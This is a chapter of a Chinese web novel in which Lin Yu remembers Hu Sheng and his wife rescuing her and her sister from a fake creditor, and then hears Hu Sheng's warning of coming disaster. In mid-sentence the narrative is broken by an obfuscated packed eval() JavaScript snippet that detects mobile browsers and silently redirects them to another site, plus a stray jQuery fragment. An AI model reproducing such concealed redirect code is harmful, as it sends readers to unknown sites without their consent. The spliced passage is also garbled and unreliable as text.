胡生转过头来定定看着林与,他的面上浮现出和煦的笑:“一别多年,上次走的太仓促,所以我再来看看你。”
清晨的阳光斜斜照在院子里却并不温暖,依旧冷的彻骨,林与拍拍尘露让她先出去,尘露一步三回头地走了,院子里就剩下胡生和林与二人。
一时谁都没有说话,风静静吹着,桃树枝桠在风中轻轻摇晃。
转瞬之间,十年光阴,恍惚初见。
彼时的林与十一岁,才过了生辰不久,爹娘的亡故使得她与林昭姐妹二人无依无靠,不知何去何从。
年幼的姐妹带着爹娘劳碌一生攒下的钱财,在外人眼里她们就像是一块行走的大肥肉,街边恶狗都想上来咬一口,从她们身上啃下些什么。
某天姐妹俩被一个自称债主的中年人上门纠缠,来人一无借条,二无实证,只是逮着她们年幼好欺负。
林昭缩在屋子捂着耳朵不敢动弹,外面的中年人恶毒地骂个不停,各种声音混杂在一起很吵很吵。
“开门!欠钱不还,你们爹娘就是死有余辜!”
“林辉也是倒霉娶了个下不出蛋的母鸡,你们指不定是季氏跟哪个光棍生的野种,根本就不是老林的孩子!若季氏当真问心无愧,怎的生不出来个儿子?两个姑娘有个屁用还当宝贝一样宠着。”
林辉和季云是林与的父母,母亲生的貌美,曾在乐坊待了许多年,母亲弹得一手好古筝,余音绕梁,三日不绝,每当季云登台,台下都挤满了人,数不尽的脂粉首饰被抛上台,只为换得季云一笑。
想娶她做妾的商贾富户两只手都数不过来,所有人都理所应当的认为她该为钱财折腰,但她却嫁给了老实本分身无分文的林辉。
父亲其貌不扬,一幅圆圆胖胖的福禄相,娘说做人一辈子最重要的是从心。
但是,美人不与才子相配,不入高门大户做妻妾,自然是要被人说三道四的,因为他们忮忌。
母亲被骂惯了,但现如今人都已经死了,他们还要来招惹,给她身上泼脏水,林昭缩在角落里眼泪止不住的流,周身颤抖死死咬着牙关不让自己发出声来。
林与自然是咽不下这口气,林昭拽不住林与,她从后门穿出去,架了个梯子爬上了屋顶,小小的人儿摇摇晃晃踩着冰冷的瓦片,后背还背了一箩筐碎石砖,石砖是修后屋剩下的。
原是说等春天来了,修好后屋后就聘一只狸奴回来,林与盼了很久,但春天始终没有到来,爹娘在春日前一个寒冷的夜晚惨死街头了。
中年人还在骂:“开门!把钱拿出来!别想躲着赖账,两个贱骨头!”
“哎呦!哪来的石子?!”中年人摸着脑门四处看,并没有发现石子来源,他顾不得那么多,一手摸着红肿的脑袋一手叉腰继续咒骂着。
中年人骂一句,林与丢一颗砸石砖到他头上。
没几下中年人就发现了房顶上有人,他退远出去看到了站在屋顶的小女孩,怒极了仰着头胡乱揉了揉自己的头发,他的眼神异常凶狠。
他嚷嚷着:“有娘生没娘养的东西!你爹娘就是被你克死的!”
“哗啦!”
一箩筐的小石砖霹雳哐啷倾泻下来全砸在中年人身上,他赶忙抱着头弯腰四窜,碎裂的石砖砸在他的后背上。
“别让我抓着你个短命鬼!”中年人气的跳脚,他一魁梧大汉,怎么能被个十岁小鬼给打了?有碍他一世英名!
中年男人是个混子,他朝着外面一吆喝,很快就有几个与他相熟,看热闹不嫌事大的男人进了院子里,四人合力一人站一角围住了屋子边缘,梯子被他们打翻,林与被困在房顶下不来。
四面都有人,眼见着是下不去了,林与也没多大反应,她表情淡淡直接在屋顶躺倒,闭着眼睛靠在箩筐边开始晒太阳。
林与什么都没做,连反抗都没有,偏偏是这样,那些人被气的不行,他们看不惯林与这幅样子,“呵,她居然还有心情在房顶睡大觉?”
“这简直就是不把咱们放眼里!等着,我过会就给她弄下来。”
“刚那梯子呢?咱爬上去不就得了?”
“切,那梯子不知道用了多少年了,散架了都,我们这样的,踩上去梯子就得成渣,哪能用啊?”
“我就看着她怎么办,她还能一直躺上面不成?再说了,屋里不还有一个吗,咱哥们几个把锁撬开,捉里面这个不也一样?”
“去找个开锁匠来,不管那个小的了,把屋里这个抓起来也一样的!”
几个三四十岁的男子就这么汇聚在一户孤女的屋檐下叽叽喳喳你一言我一嘴,商讨着怎么对付这两个孤女。
“哎!我说,你们是不是太过分了,如此欺负两个小姑娘,我喊人了,等会我夫君就来了。”
林与从屋顶看下去,说话的人是王柏诗,也就是胡生的妻子,她手执一铁棍,气势汹汹地站在大门前,语气十分不悦。
几个男人哈哈大笑:“你算个什么东西?说话这么狂?你知不知道上一个这么跟小爷说话的已经被小爷我卖到窑子里去了。”
他说话毫不客气,带着一抹邪笑打量着王柏诗,“怎么?你也想去?”
“去你爹的!”王柏诗可受不了这种气,一棍子就朝着这几个男人打来!刚刚还眉飞色舞狂得不行的几人瞬间变作鸡窝里受惊的鸡一样扑棱着胳膊四处躲。
“你这泼妇做什么!”
“啊!滚开!”
结实的铁棍一下下落在几个人身上,他们皮糙肉厚,铁棍发出一声声钝响。她专打几人的头脸和肚子,有人想跑又被她一棍子扫腿打趴下,没多久几人就全部败下阵来抱着头蹲在了墙角。
“我倒要看看你们几个的嘴能贱成什么样子。”王柏诗压着怒气站在几人面前,对着几人又是一棍!
“啊!”铁棍打在了最初那个所谓的“债主”的嘴上,他猛地往外吐了一口血出来,他的牙碎了。
林与趴在屋顶看到这一幕,她搬起那个空箩筐瞄准了墙根那一排人,对着他们就扔了过去!
林与在高处,几人根本没察觉她的动作,这一下来的措不及防,几人没来得及躲,蹲在中间的“债主”被打中脑袋,一下子被砸晕了过去!
他嘴角带着血又开始吐白沫,被打碎的牙掉在地上,箩筐砸在他额上迅速鼓起一个大包,他就这么晕倒在地,好不狼狈。
林与脸上依旧没什么表情,梯子被那几个人推倒了,她也没看这里有多高,扶着房檐的瓦片就要往地面上跳!
这一下给王柏诗吓得不轻,扔了铁棍就要去接林与。
林与一跃而下,想象中的疼痛并没有落在林与身上,她落到了一个温暖柔软的怀抱中,林与睁开眼对上王柏诗的脸,一时万籁俱静,时间似乎都停止了。
“你们给我等着!你们知不知道我是谁?!”一道粗犷的声音打断了这份平和,林与皱眉朝声音的来源看去,是刚刚那个骂过王柏诗的男人。
“你是谁,说说看呢?”胡生踏着步子朝王柏诗走来,见到胡生,王柏诗脸上浮现出笑意,她将林与轻轻放下,头一歪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020601|188404||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就靠进了胡生的怀中。
她一改方才骁悍的样子,换上一幅柔弱的神情,她抱着胡生道:“呜呜夫君你不在他们都欺负我,你看看我这手都红了……”王柏诗眼泪哗哗地哭诉着。
林与:?
林与眼底闪过疑惑,墙角三人也都露出了仿佛见鬼一般的神情,这个眼泪汪汪的柔弱女子是谁?刚刚那个孔武有力仿佛战神现世的人呢?!
几个男人仿佛受到了侮辱一般齐声喊道:“我们没打她!她先对我们动手的!”
王柏诗红着眼睛:“我没有……是他们欺负我。”
胡生揉着王柏诗的手心,他没说什么,只是抬眼看着那几个神色心虚的男人皮笑肉不笑,眼神冷的要杀人一般,“你当你是什么人,值得我夫人对你动手?再说了,我夫人打你们又如何?!”
胡生语气里尽是挑衅:“说说看吧,你是什么身份,又算个什么东西?敢来我夫人面前找死?”
胡生此时已经是个小有名气的占星师了,街坊邻居哪有不认识他的?那个男人当场就闭嘴连忙摇头,他头摇地像个拨浪鼓:“我哪敢呐……大人您真是说笑了……”
胡生神色依旧冷峻,那人打量着他的神情再不敢开口,当今世道,惹谁都不能惹修士。
“滚,别让我再看见你们几个,若是再敢来找她们的麻烦,我就……”胡生的视线偏了偏,落在了林与的身上。
“我就将你们开膛破肚当祭品烧给林辉和季云。”
胡生加重了语气,一字一顿说道:“还不快滚。”
胡生呵斥了一句,那三人赶忙爬起来一瘸一拐扶着脑袋摸着肚子就要走。
胡生:“地上那个是死了吗?”
“没!没!”
那几人又退回来合力抬起那个被林与砸晕的“债主”往外走,他们身上都有伤,晕倒的男人又是个彪形大汉,几人没走几步强撑着出了院子就在大门口栽了跟头,摔了个人仰马翻。
外面没了人声,趴在门边哭了半天的林昭推开门冲出来抱住林与:“呜呜呜霁月,吓死我了……你没事吧。”
林昭被吓得不轻,她哭的一抽一抽话都说不清,紧紧抱着林与不松手,很快就哭湿了林与的袖子,王柏诗怜爱地在两个女孩的脸上摸了又摸,她重重地叹了口气,眼神里尽是担忧。
胡生看了看林与,最终开口问道:“你的名字是?”
“林霁月。”
胡生面色一变,他的眼底闪过一瞬震惊,良久,他道:“从今天起,我给你起一个新名字如何?”
林与愣愣看着胡生,“好……”
回忆辗转,时光反复,往后很多年林与都始终记得这一天。
一转眼,胡生已然老去,现在的他两鬓斑白皮肤黢黑,密密麻麻的皱纹爬上了他的脸庞,再找不出与十年前相像的地方了。
才过了十年而已。
整整过了十年了。
林与出神地看着胡生已经苍老的容颜,她轻轻笑了:“一别经年,没想到还能再见到您。”
胡生盯着林与眉心那道殷红的神女印记,他踌躇了一会,几番想要开口,但都没能说出来,他记得前些日子在江南时,这个印记颜色没有这么深。
林与看出他的犹豫,知道他有话要说,林与先开口了:“您是有什么事情想与我说吗?”
胡生:“你入了奉天楼,我本不该来见你,但我有一件至关要紧的事情要同你说。”
林与:“您说。”
“你就要大祸临头了。”